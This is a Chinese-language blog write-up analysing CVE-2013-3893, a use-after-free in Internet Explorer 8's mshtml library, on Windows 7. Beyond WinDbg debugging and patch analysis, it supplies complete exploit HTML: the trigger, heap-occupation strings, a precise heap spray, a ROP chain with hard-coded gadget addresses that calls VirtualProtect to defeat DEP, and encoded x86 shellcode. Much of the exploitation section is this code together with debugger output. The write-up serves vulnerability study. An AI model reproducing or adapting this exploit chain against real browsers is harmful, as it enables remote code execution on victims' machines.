IE漏洞学习笔记(三):CVE-2013-3893漏洞案例分析

阅读量1005239

|

发布时间 : 2019-11-13 10:30:15

 

调试环境:

Windows 7 SP1

IE8

漏洞编号:CVE-2013-3893

摘要:

该漏洞是的原理是,IE下的mshtml动态连接库将TreeNode对象从Dom树释放后,又重新调用对象的任意代码执行。该漏洞覆盖的IE版本从IE6到IE11,是一个典型的浏览器UAF漏洞,最后使用精准堆喷射完成利用。

因为本文作者调试实例漏洞的功底有限,所以会漏洞如何发现以及利用部分,漏洞的原理和挖掘的讲解可能达不到高水平读者的要求。文章比较长,希望感兴趣的读者能耐心读下去。

 

1.1漏洞分析

可以通过msf/exploit-db获取这个漏洞的POC,我们对其进行一些修改,方便我们的分析。

调试的poc代码如下

POC.html

<!DOCTYPE html>

<html>

<head>

​    <title>Migraine</title>

</head>

<body>

​    Hello World!

    <script type="text/javascript">

​        function trigger()

​        {

​            Math.tan(2,1);

​            var father=document.createElement("father");

​            var child=document.createElement("child");

​            Math.tan(1,2);

​            document.body.appendChild(father);

​            document.body.appendChild(child);

​            Math.sin(1,2);

​            child.applyElement(father);

​            

​            father.onlosecapture=function() {



​                document.write("");

​                //alert("123");

​            }

​            Math.cos(1,2);

​            father['outerText']="";

Math.cos(1,2);

​            father.setCapture();

​            child.setCapture();

​        }

​        window.setTimeout("trigger()",1000);



​    </script>



</body>

</html>

1.1.1 基于POC的流程分析

首先要清楚POC的运行流程,通过createElement创建两个对象father和child

接着为两个对象分别创建两个结点。效果如图所示,<body>标签下创建了<father>和<child>标签。同时也会创建一个TreeNode对象。

将child作为father的子结点

father[‘outerText’]=””将元素本身赋值为空对象,这句会导致DOM树中所有father的子孙结点都被析构(fahter、child)也就是说TreeNode会从DOM上脱离。

father.setCapture();child.setCapture();father鼠标指针聚焦,child鼠标指针聚焦,导致father失焦,会触发father.onlosecapture=function()

document.write(“”);

漏洞触发的位置

在调用document.write(“”);时候,释放了TreeNode对象,但是在程序之后运行的函数中,使用了这个被释放的对象,导致了释放后重用漏洞。

POC调试

程序断点在了CTreeNode::GetInterface函数,call ecx指向的地址。

使用kv可以追踪函数的流程。按照这样的回溯也是可以分析漏洞的。不过为了更精确地找到造成中断的根源,我们开启页堆(page heap),这样程序在遇到堆结构被破坏时会更即使地断下。

使用Windbg的Global Flags工具开启page heap(页堆),选择Enable page heap选项。

不建议开启左下角的Enable heap tagging,会导致后面调试经常出问题。

再次运行POC,程序断点在了HasContainerCapture+0x14的位置。根据栈回溯,可以发现比之前的断点位置更靠前了一些。

使用kv查看栈回溯,使用ub查看具体触发的代码。

我们再次查看HasContainerCapture+0x14的位置,发现他实际调用了一个已经被释放到对象TreeNode,从而造成了释放后重用(UAF)漏洞。

继续向下看,我们分析此时造成崩溃的EDI参数,!heap -p -a edi查看edi所在堆的状态。

可以看到EDI所指向的堆已经在!CTreeNode::Release被释放了。

重新调试一遍,查看TreeNode对象(地址和上一次调试不同)在被释放前的空间为0x4c,所以只需要在被释放之后,用js立即分配一块相同大小的堆就能进行占位。

虽然知道POC触发了UAF漏洞,但是我们对这个漏洞的具体细节还一无所知,更不用提利用了。所以我们要从程序流程的角度来分析一下漏洞触发的原因。

接下来关闭页堆,进一步调试整个POC的触发的程序流程,以及UAF是如何造成影响的。

修改一下poc(增加了一段js,创建了一个div对象,具体原因下文会说明),继续调试。

<!DOCTYPE html>

<html>

<head>

​    <title>Migraine</title>

</head>

<body>

​    Hello World!

    <script type="text/javascript">

​        function trigger()

​        {

​            Math.tan(2,1);

​            var father=document.createElement("father");

​            var child=document.createElement("child");

​            Math.tan(1,2);

​            document.body.appendChild(father);

​            document.body.appendChild(child);

​            Math.sin(1,2);

​            child.applyElement(father);

​            

​            father.onlosecapture=function() {



​                document.write("");

​                Math.cos(1,2);

​                tt = new Array(20);

​                for(i = 0; i < tt.length; i++) {

​                  tt[i] = document.createElement('div');

​                  tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";

​    }

​                //alert("123");

​            }

​            Math.cos(1,2);

​            father['outerText']="";

​            Math.cos(1,2);

​            father.setCapture();

​            child.setCapture();

​        }

​        window.setTimeout("trigger()",1000);



​    </script>



</body>

</html>

首先对几个关键部分下断点,在POC中写入一些三角函数,例如tan、sin、cos这几个JS的函数主要是帮助我们判断程序运行到哪个位置,因为在程序汇总我们下断点到函数会反复地运行,可能会多次断下,但是不一定是我们需要到断点。(比如调试时候,tan还没断下来,CElement就断了好几次,这个断点就需要我们跳过)

下面是我下的断点,仅供参考。(到后期调试最后两个断点可以去掉)

0:016> bl

 0 e 6d86d898     0001 (0001)  0:**** jscript!tan

 2 e 6d86d6e9     0001 (0001)  0:**** jscript!sin

 3 e 6d86d657     0001 (0001)  0:**** jscript!cos

 4 e 6ba49fd3     0001 (0001)  0:**** mshtml!CElement::CElement

 5 e 6b9caed1     0001 (0001)  0:**** mshtml!CMarkup::InsertElementInternal

 6 e 6b9e5acf     0001 (0001)  0:**** mshtml!CElement::appendChild

首先断点在了tan,三角函数断点并不是必须的,但是在调试IE这样程序流复杂的对象时,可以帮助我们判断程序运行的位置。

第一个CElement::CElement断点,当然直接给createElement下断点也是可以的,但是要获取这个对象的指针,需要运行CElement+0x18的位置。此时EDI存放的便是Element对象的指针。

即var father=document.createElement(“father”);中的father

为什么我们能判断此时的EDI是Element的对象指针呢,其实分析0x6ba49feb地址的这句语句,将C++的虚函数表地址放入了[EDI]的位置,这不就是C++ 初始化对象的行为嘛。对象的头部就是虚函数表。

第二个断点,也是同理,var child=document.createElement(“child”);中的child对象指针为2eebd88.

中途再次断在tan,g继续运行

创建子结点father

document.body.appendChild(father);

创建了一个TreeNode对象,指针默认通过EAX值返回。

同理第二个子结点,也可以获取它的指针(child)

运行结束之后,可以看一下目前的内存结构,发现已经形成了一个类似链表的结构。

查看内存空间,下图中从上到下分别是

Element对象father

子节点<father>

Element对象child

Element对象child

结构图为


Element对象father(2eec048)    Element对象child(2eebd88)

​      |                                  |

​      V                                  V

子节点<father>(2ee8ac0)         子节点<child>(2ee8388)

       ^                                 ^

       |                                  |

       ------------------------------------

                         |

​             CBody_TreeNode(02f123a8)

而TreeNode则为我们这次释放后重用漏洞的利用对象,通过链表关系我们其实可以知道,调试过程中只需要获取fahter对象的指针,就能通过链表关系获取到TreeNode指针,下一次调试就会节省很多时间。

接下来程序断点在了sin函数,继续g运行,child.applyElement(father),直到运行到cos函数。

此时查看内存,能发现<child>变成了<father>的子结点。

结构图为

Element对象father(2eec048)    Element对象child(2eebd88)

​      |                                  |

​      V                                 V

子节点<father>(2ee8ac0)   <--    子节点<child>(2ee8388)

                    ^                                 

                    |                                  

                    -------------

                                                |

​             CBody_TreeNode(02f123a8)

之后执行father[‘outerText’]=””会发现father以及他的子节点都被清空了。TreeNode也不在Dom树上了,但是这块内存指针依然存在。

使用!heap -p -a 02f123a8,发现这块内存依旧busy,size为4c

0:005> !heap -p -a 02f123a8

​    address 02f123a8 found in

​    _HEAP @ 200000

​      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

​        02f12390 000d 0000  [00]   02f123a8    0004c - (busy)

执行father.setCapture();child.setCapture();会触发father.onlosecapture函数

进而执行的document.write(“”)会将TreeNode释放


!heap -p -a 02f123a8,发现内存已经被free了

0:005> !heap -p -a 02f123a8

​    address 05118558 found in

​    _HEAP @ 200000

​      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

​        02f12390 000d 0000  [00]   02f12398    00060 - (free)

这里就需要划重点了,这个内存被释放了,而之后这个内存的指针依然存在,甚至还被程序调用了。这明显是一个UAF漏洞,这时我们要利用之前讲的占坑技术,申请一段和之前差不多大小的内存,就能成功控制这块内存。

于是此时我们可以使用Js申请多个与被释放对象相同大小的内存块,对其进行占位。(申请多个是为了保证Exp稳定性)

tt = new Array(20);

for(i = 0; i < tt.length; i++) {

​     tt[i] = document.createElement('div');

​     tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";

​    }

使用javascript申请大量80字节左右的空间(78个0x0c+2个<div>)

tt[i].className = "u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u2222u3333u4444u1111";//替代c

查看TreeNode内存空间,发现占位成功。

0:005> !heap -p -a 02f123a8

​    address 02f123a8 found in

​    _HEAP @ 220000

​      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

​        02f12390 000d 0000  [00]   02f123a8    0004e - (busy)
0:005> dc 02f123a8

02f123a8  22221111 44443333 22221111 44443333  ..""33DD..""33DD

02f123b8  22221111 44443333 22221111 44443333  ..""33DD..""33DD

02f123c8  22221111 44443333 22221111 44443333  ..""33DD..""33DD

02f123d8  22221111 44443333 22221111 44443333  ..""33DD..""33DD

注意:建议覆写部分不要使用0c0c0c0c作为数据,因为后期使用精确堆喷射的时候,我们会修改0c0c0c0c地址的值,这样覆盖虚表地址为0c0c0c0c,而0c0c0c0c地址存放的并不是0c0c0c0c而是我们shellcode的开头。

继续运行,程序断在了GetInterface+0xac的位置,eax已经被赋值为了0x0c0c0c0c,说明这里调用了我们被释放的对象TreeNode。也就是我们占位成功,并且赋值给EAX。

不过这里还不是我们控制EIP的漏洞代码,因为这里[eax]不存在值所以程序就断下来了(EAX此时指向的应该是TreeNode虚函数表指针)。

接下来我们使用堆喷射将这段内存填充满值(0c0c0c0c)。

我们增加一个HeapSpray函数,准备好堆喷射,具体堆喷射细节可以参考前辈给出的利用总结(下图)。此时再次运行我们的程序。

exp.html

<!DOCTYPE html>

<html>

<head>

​    <title>Migraine</title>

</head>

<body>

​    Hello World!

    <script type="text/javascript">

​        function trigger()

​        {

​            Math.tan(2,1);

​            var father=document.createElement("father");

​            var child=document.createElement("child");

​            Math.tan(1,2);

​            document.body.appendChild(father);

​            document.body.appendChild(child);

​            Math.sin(1,2);

​            child.applyElement(father);

​            

​            father.onlosecapture=function() {

​                Heapspray();

​                document.write("");

​                //Math.cos(1,2);

​                tt = new Array(20);

​                for(i = 0; i < tt.length; i++) {

​                  tt[i] = document.createElement('div');

​                  tt[i].className = "u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u2222u3333u4444u1111";//替代c



​                }

​                Math.sin(1,2);

​                //alert("123");

​            }



​            Math.cos(1,2);

​            father['outerText']="";

​            Math.cos(1,2);

​            father.setCapture();

​            child.setCapture();



​            function Heapspray()

​            {

​                var i=0;

​                shellcode="u1234u3456u7890u1234u3456u7890";

​                block="u0c0cu0c0c"

​                while(block.length<0x100000)

​                    block+=block;

​                block=block.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);

​                block+=shellcode;

​                var memory=new Array();

​                for(i=0;i<600;i++)

​                    memory[i]=block.substring(0,block.length);

​            }

​        }

​        window.setTimeout("trigger()",1000);

​    </script>

</body>

</html>

img

程序跳转到了0x0c0c0c0c,通过栈回溯,很明显是在GetInterface函数中调用call [ecx],读取了TreeNode对象中的内容,完成了一次堆EIP的控制。

注:ECX的值来源

向前阅读,发现上一次运行的断点就在向上5行(详细情况读者可以看本文的上一小节),根据上文的分析mov ecx,[eax]此时的EAX的值是从被我们覆盖的TreeNode中读取的(已经被我们覆盖为了0c0c0c0c)。从EAX指向的地址读取字符给ECX,而堆空间中已经被堆满了0c0c0c0c,因此导致ECX也被赋值为了0c0c0c0c地址存放的数据(也是0c0c0c0c)。然后call [ecx]就发生了。

需要注意的是,在后期利用占位使用的字符尽量不要使用0c0c0c0c,因为这个空间会被我们安排ROP链,会导致[EAX]不能给ECX赋正确的值。(0c0c0c0c)

img

通过利用这个UAF漏洞,我们最后成功控制了程序流。

img

1.1.2 漏洞利用泛谈

UAF的部分到这里已经结束了。用大佬的说的一句话,就是漏洞和程序编写者有关,与系统无关。UAF漏洞是mshtml的一个内存漏洞,由漏洞能控制程序流。只要没有补丁,IE8在WinXP或者WIN10下,这个漏洞都是存在的。

区别在于利用难度,WIN XP SP1没有DEP,所以堆喷射一下就解决了。WIN 10开启了很复杂的保护,每周还有更新,利用难度非常高。

谈这点是的主要目的是什么呢,主要就是想表达自己最近领悟的一个观点。漏洞是客观存在的,与我们在什么系统下执行无关。能够利用,可能就要考验利用者的手法了。所以希望读者能明白,如果希望实现你UAF,那么原理和案例看到这里就够了。

并不是说利用手法不重要,而是希望自己能够对漏洞概念有一个更深刻的领会。

下文将尝试在WIN7下的对这个漏洞进行利用,使用ROP和精确堆喷射绕过DEP防护。

WIN7下的利用分析

使用mona插件,可以非常明显发现IE开启了DEP(IE本身没有开,但是mshtml开了),导致堆内的空间也不可执行。如果是XP环境,shellcode会被直接执行,但是在这里就需要使用ROP来绕过DEP。ASLR因为需要重启才会导致基础地址发生变化,所以我们本地测试暂时不做讨论。

绕过DEP的一般操作就是使用VirtualProtect关闭DEP,可以使用x kernel32!Virtual*查找这个函数的位置。如果ASLR的影响算在内,函数地址也不是稳定的。(kernel32的地址也会变化)

img

在正式开始利用前,我们先做一个小实验:

在HeapSpray执行之后,查看0c0c0c0c的内存空间,发现已经被覆盖。

使用

ed <address> data

我们将0c0c0c0c地址的数据修改成了VirtualProtect的地址。

成功跳转进入了函数。

1.1.3精确堆喷射

目前需要解决的问题有二

一是我们的数据包括shellcode和ROP链是存放在堆中的,熟悉ROP的读者应该明白只有在栈中(或者伪造的栈)才能正常执行程序链。

二是程序开启了DEP,堆不可执行,除非ROP链的头部正好对准0c0c0c0c(或者我们制定的其他跳转地址),才能正常执行ROP,一个字节也不能差。但是堆喷射是一种不稳定的技术,ROP链的地址在堆中位置是不确定。

解决方案:

因为我们将ROP布置在堆中,不能像栈一样方便直接执行。这里可使用栈翻转技术解决,将ESP指向我们堆中的ROP,就和在栈中没有区别了。前文我们已经尝试了在0c0c0c0c的位置布置了一个指向VirtualProtect函数的指针,并且成功跳转了,目前只需要布置好ROP就行。

那就第二个问题,如何在将ROP链的头精确的放在0c0c0c0c的位置。具体细节可以阅读下面这两篇文章。关键字:精确堆喷射。通过这个技术我们能将ROP精准地对准0c0c0c0c。

链接1

链接2

HeapSpray.html

<!DOCTYPE html>

<html>

<head>

​    <title></title>

</head>

<body>

<script type="text/javascript">

​    var sc="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

​    var nop="u0c0cu0c0c";

​    while(nop.length<0x100000)

​        nop+=nop;

​    nop=nop.substring(0,(0x80000-6)/2-sc.length);

​    code=sc+nop;

​    heap_chunks=new Array();

​    for(i=0;i<1000;i++)

​    {

​        heap_chunks[i]=code.substring(0,code.length);

​    }



</script>

</body>

</html>

查看0c0c0c0c的内存发现成功覆盖,但是我们需要到是能精准对将ROP链/Shellcode的头部对准0c0c0c0c的位置。

img

查看0c0c0c0c堆块的堆头为0c0a0018。一个堆块对应我们使用JS分配的8MB的heap_chunk。

而UserPtr也就数据存放的开头为0c0a0030(一般来说是0c010020但是我调试时开了Enable heap tagging),查看这个区域我们输入数据头部就是从UserPtr+8的位置开始的。

img

img

可以看出堆空间的起始地址的最后四位都变成了0018,UserPtr的最后四位则为0030.

这是在大量分配内存之后会产生的现象。

虽然每次分配的值地址不一定完全相同,比如第一次0c0c0c0c所在用户堆起始地址为0c0a0030,偏移为0x20bdc,而第二次则为0c0b0030,偏移为0x10bdc。

但是变化范围都是以0x10000为基数的,只需要在heap_chunk中以0x10000为单位配置好shellcode+nops的格式。最后heap_chunk整体加上偏移地址0xbdc,无论地址怎么变化,都能顺利让0c0c0c0c指向函数shellocode的起始地址。

img

修改HeapSpray,成功利用heap-feng-shui技术将0c0c0c0c的位置精确定为我们shellcode的起始地址。代码如下。

img

可以看到我们内存中每隔0x1000都会存在一个shellcode+nop的结构。这样能让0c0c0c0c具有某种程度上的稳定。

img

HeapSpray.html

<!DOCTYPE html>

<html>

<head>

​    <title></title>

</head>

<body>

<script type="text/javascript">

​    var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";

​    var nop="u0c0cu0c0c";

​    var offset=0x5ee-4/2;//0xbdc/2-4/2



​    //以0x10000为单位的shellcode+nop结构单元





​    while(nop.length<0x10000)

​        nop+=nop;

​    var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节



​    var sc_nop=sc+nop_chunk;

​    





​    //组合成单个大小为0x80000的堆块(heap-feng-shui)



​    while(sc_nop.length<0x100000)

​        sc_nop+=sc_nop;

​    sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块

​    

​    var offset_pattern=nop.substring(0,offset); 

​    code=offset_pattern+sc_nop;

​    heap_chunks=new Array();

​    for(i=0;i<1000;i++)

​    {

​        heap_chunks[i]=code.substring(0,code.length);

​    }



</script>

</body>

</html>

将这段代码替换poc中的heapspray函数,运行poc发现,程序成功跳转到41414141的位置。(因为0c0c0c0c地址已经被AAAA覆盖)

img

接下来只需要构造ROP链,使用VirtualProtect函数将0c0c0c0c开始的内存设置为可执行即可。大概参数可以

BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);

可以使用mona插件快速寻找gadgets

!py mona findwild -s "mov esp,eax#*#retn"

0x760f0b51 |   0x760f0b51 (b+0x002b0b51)  : mov esp,eax # dec ecx # retn

0x760e0ae2 |   0x760e0ae2 (b+0x002a0ae2)  : mov esp,ecx # dec ecx # retn 4

1.1.4构造ROP链

翻转栈帧到堆空间

因为发生UAF之后,ESP指向的是当前的栈空间,而我们的rop链是放在heap里的。所以需要使用栈翻转,将esp指向我们堆中的rop链。这个部分也是非常有意思的。

步骤(0)首先eax是我们可控的参数(通过占位TreeNode),ecx的值来源为[eax],所以eax的值不能直接指向我们的rop链,因为这样ecx会读取不到正确的值,call [ecx]也就不能跳转。

步骤(1)ROP链头部必须执行栈翻转操作,否则rop链将无法成功执行。

看大佬的案例是寻找xchg指令,对esp进行赋值。但是我并没有找到很合适的gadget。

!py mona find -s "x94xc3" 或者!py mona.py findwild -s "xchg esp,eax#*#retn"

0x736c32fa |   0x736c32fa (b+0x000132fa)  : x94xc3

不过上穷水尽疑无路,柳暗花明又一村。我们找到了一组包含pop esp的gadget,可以修改esp为0c0c0c0c

!py mona.py findwild -s "push ecx#*#pop esp#*#retn"

0x75b48d9e |   0x75b48d9e (b+0x00398d9e)  : push ecx # pop esp # pop ebp # retn 4

步骤(2)上一个步骤执行到ret命令时,esp=0c0c0c10,所以在0c0c0c10起始埋下我们到ROP链接就行。

步骤(3)ROP设置shellcode内存可执行之后,跳转到shellcode运行即可。

ROP流程图

Heap    

(0) Reg  eip->0c0c0c0c ecx=0c0c0c0c eax=0c0c0c04 esp=>stack

(1)=>0c0c0c0c  push ecx#pop esp#..#ret 4  =>  esp=0c0c0c0c+4=>heap

(2)=>0c0c0c10 ret =>esp=0c0c0c10+4+4(因为ret4) 

0c0c0c14 0c0c0c0c (跳过4字节)

(3)=>0c0c0c18  VirtualProtect_addr =>esp=0c0c0c10->0c0c0c18(因为ret4)

...   0c0c0c1c shellcode_addr ->0c0c0c30

0c0c0c20  0c0c0c00 [arg4]

0c0c0c24  0x1000 [arg3]

0c0c0c28  0x40 [arg2]

0c0c0c2c  0c0c0c0c[arg1]

(3)    0c0c0c30 shellcode

编写出EXP利用脚本

<!DOCTYPE html>

<html>

<head>

​    <title>Migraine</title>

</head>

<body>

​    Hello World!

    <script type="text/javascript">




​        function trigger()

​        {



​            Math.tan(2,1);

​            var father=document.createElement("father");

​            var child=document.createElement("child");

​            Math.tan(1,2);

​            document.body.appendChild(father);

​            document.body.appendChild(child);

​            Math.sin(1,2);

​            child.applyElement(father);

​            

​            father.onlosecapture=function() {

​                Heapspray();

​                document.write("");

​                //Math.cos(1,2);

​                

​                tt = new Array(20);

​                for(i = 0; i < tt.length; i++) {

​                  tt[i] = document.createElement('div');

​                  //tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";//39x2字节

​                tt[i].className = "u0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04";

​                //将eax赋值为0c0c0c00

​                

​                }

​                

​                Math.sin(1,2);

​                //alert("123");

​            }



​            Math.cos(1,2);

​            father['outerText']="";

​            Math.cos(1,2);

​            father.setCapture();

​            child.setCapture();



​            function Heapspray()

​            {

​                //var rop_gadget="u0ae2u760e"; //760e0ae2 #mov esp,eax #dec ecx#retn

​                var rop_gadget="u8d9eu75b4" //0x75b48d9e push ecx # pop esp #pop ebp

​                                +"u1480u7690" //0x76901480 ret

​                                +"u0c0cu0c0c"  //4 size

​                                +"u20d8u7690" //VirtualProtect 0x769020d8

​                                +"u0c30u0c0c"// shellcode_addr

​                                +"u0c00u0c0c"//arg4

​                                +"u1000u0000"//arg3

​                                +"u0040u0000"//arg2

​                                +"u0c0cu0c0c";//arg1



​                var shellcode="uc931u8b64u3041u408bu8b0cu1470u96adu8badu1058u538Bu013cu8bdau7852uda01u728bu0120u31deu41c9u01adu81d8u4738u7465u7550u81f4u0478u6f72u4163ueb75u7881u6408u7264u7565u8be2u2472ude01u8b66u4e0cu8b49u1c72ude01u148bu018eu31dau53c9u5152u6168u7972u6841u694cu7262u4c68u616fu5464uff53u83d2u0cc4u5059uc031ub866u6c6cu6850u3233u642eu7568u6573u5472u54ffu1024uc483u500cuc031u6fb8u4178u5023u6c83u0324u6823u6761u4265u4d68u7365u5473u74ffu1024u54ffu1c24uc483u500cuc031ub866u4646u5450uc031u41b8u4141u5023u6c83u0324u5423uc031uff50u2474uff04u2474u3110u50c0u54ffu2024uc483u0010";

​                var shellcode_old="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857";

​                var sc="u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c"+rop_gadget+shellcode;

​                var nop="u0c0cu0c0c";

​                var offset=0x5ee-4/2;//0xbdc/2-4/2





​                while(nop.length<0x10000)

​                    nop+=nop;

​                var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节



​                var sc_nop=sc+nop_chunk;

​    



​                //组合成单个大小为0x80000的堆块(heap-feng-shui)



​                while(sc_nop.length<0x100000)

​                    sc_nop+=sc_nop;

​                sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块

​    

​                var offset_pattern=nop.substring(0,offset); 

​                code=offset_pattern+sc_nop;

​                heap_chunks=new Array();

​                for(i=0;i<1000;i++)

​                {

​                    heap_chunks[i]=code.substring(0,code.length);

​                }

​            }

​        }

​        window.setTimeout("trigger()",1000);



​    </script>



</body>

</html>

EXP执行流分析

直接进入一个gadget,执行栈翻转,esp被翻转到0c0c0c0c然后因为栈操作被继续提高到0c0c0c10,然后ret4跳转。

img

img

img

img

跳转前esp指向0c0c0c10,因为ret 4跳转之后esp变为了0c0c0c18而不是0c0c0c10

img

img

在0c0c0c18埋下VirtualProtect的地址,成功进入程序流。

img

img

VirtualProtect其实只是VirtualProtectEX的一个外壳,在函数内部,将参数分别入栈再调用VirtualProtectEX。查看我们入栈的数据是否正确,发现EX函数比原函数多了一个参数。

img

执行之后eax返回1,说明执行成功,shellcode所在地址已经能够执行。

img

进入shellcode执行,成功弹窗。

img

img

1.1.5漏洞原因和补丁分析

我们使用IDA逆向分析关键函数SetMouseCapture。

IDA 生成的伪代码

void __userpurge CDoc::SetMouseCapture(int a1@<eax>, CDoc *a2@<ecx>, CDoc *lpMem, int a4, void *a5, int a6, int a7, int a8)

{

  CDoc *v8; // ebx@1

  int v9; // edi@1

  int v10; // eax@6

  int v11; // ecx@7

  void *v12; // eax@11

  CImplPtrAry *v13; // ecx@15

  struct CElementCapture *v14; // esi@15

  int v15; // ecx@17

  int v16; // eax@18

  CMessage *v17; // ST14_4@22

  CMessage *v18; // ecx@22

  CElementCapture *v19; // ecx@23

  CImplPtrAry *v20; // ST14_4@24

  CServer *v21; // ecx@27

  void *v22; // [sp+0h] [bp-A8h]@0

  char v23; // [sp+10h] [bp-98h]@17

  int v24; // [sp+14h] [bp-94h]@17

  int v25; // [sp+A4h] [bp-4h]@6

  void *lpMema; // [sp+B0h] [bp+8h]@12



  v8 = lpMem;

  v9 = a1;

  if ( *((_DWORD *)lpMem + 469) & 0x1000 ) //没有对TreeNode对象是否在Dom做检查

​    v9 = 0;

  if ( v9 )

  {

​    v25 = (*((_DWORD *)lpMem + 65) >> 2) - 1;

​    v10 = v25;

​    if ( v25 < 0 )

​      goto LABEL_31;

​    v11 = *((_DWORD *)lpMem + 67) + 4 * v25;

​    do

​    {

​      if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == v9 )

​        break;

​      --v10;

​      v11 -= 4;

​    }

​    while ( v10 >= 0 );

​    if ( v10 < 0 )

​    {

LABEL_31:

​      v12 = ATL_malloc(0x10u);

​      lpMema = (void *)(v12 ? CElementCapture::CElementCapture(v12, a7, a8, a4, a5) : 0);

​      if ( lpMema )

​      {

​        v14 = CDoc::GetLastCapture(v8);

​        if ( v14 && CDoc::HasContainerCapture(v8, *(struct CElement ***)(v9 + 20)) )

​        {

​          CMessage::CMessage(&v23, 0);

​          v24 = 533;

​          CDoc::PumpMessage(v8, (struct CMessage *)&v23, 0, 0);

​          if ( v14 == CDoc::GetLastCapture(v8) )

​          {

​            v16 = *((_DWORD *)v14 + 3);

​            if ( !(v16 & 2) )

​            {

​              v15 = *((_DWORD *)v14 + 2);

​              if ( !(*(_DWORD *)(v15 + 28) & 0x8000000) )

​              {

​                *((_DWORD *)v14 + 3) = v16 | 2;

​                *((_DWORD *)v8 + 469) |= 0x1000u;

​                CElement::FireEvent(

​                  *((CElement **)v14 + 2),

​                  (const struct PROPERTYDESC_BASIC *)&s_propdescCElementonlosecapture,

​                  1,

​                  0,

​                  -1,

​                  0,

​                  0);

​                *((_DWORD *)v8 + 469) &= 0xFFFFEFFF;

​              }

​            }

​          }

​          if ( *((_DWORD *)v8 + 65) & 0xFFFFFFFC )

​          {

​            if ( v14 == CDoc::GetLastCapture(v8) )

​            {

​              CElementCapture::~CElementCapture(v19);

​              CBlockElement::operator delete((void *)v14);

​              CImplPtrAry::Delete(v20, (int)v22);

​            }

​            CImplPtrAry::Append(v19, v22);

​          }

​          else

​          {

​            CElementCapture::~CElementCapture((CElementCapture *)v15);

​            CBlockElement::operator delete(lpMema);

​            v18 = v17;

​          }

​          CMessage::~CMessage(v18);

​        }

​        else

​        {

​          CImplPtrAry::Append(v13, v22);

​          if ( !v14 )

​            CServer::SetCapture(v21, 1);

​        }

​      }

​    }

  }

  else

  {

​    CDoc::ClearMouseCapture(a2, lpMem);

  }

}

对比微软的补丁可以知道,微软在进入LABEL_31:段前增加了判断,TreeNode是否在Dom树上,如果TreeNode不在Dom树上就不会进入LABEL_31的,也就不会触发漏洞。

经过之前的动态分析,可以知道进入LABEL_31之后会进入PumpMessage->NodeAddRef->GetInterface,最后导致UAF触发任意代码执行。

 

参考文献

[1].Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3[DB/OL].

https://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/,2014-9-19

[2]Payload_82.(https://www.52pojie.cn/home.php?mod=space&uid=817719).暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告[DB/OL].https://www.52pojie.cn/thread-730324-1-1.html,2018-4-24

[3]0x9A82.IE浏览器漏洞综合利用技术:堆喷射技术[DB/OL].https://bbs.pediy.com/thread-223106.htm,2017-12-4

[4]Geek青松.(https://me.csdn.net/u010142102).CVE-2013-3893 IE浏览器UAF漏洞分析[DB/OL]。https://blog.csdn.net/u010142102/article/details/89207164,2019-04-11

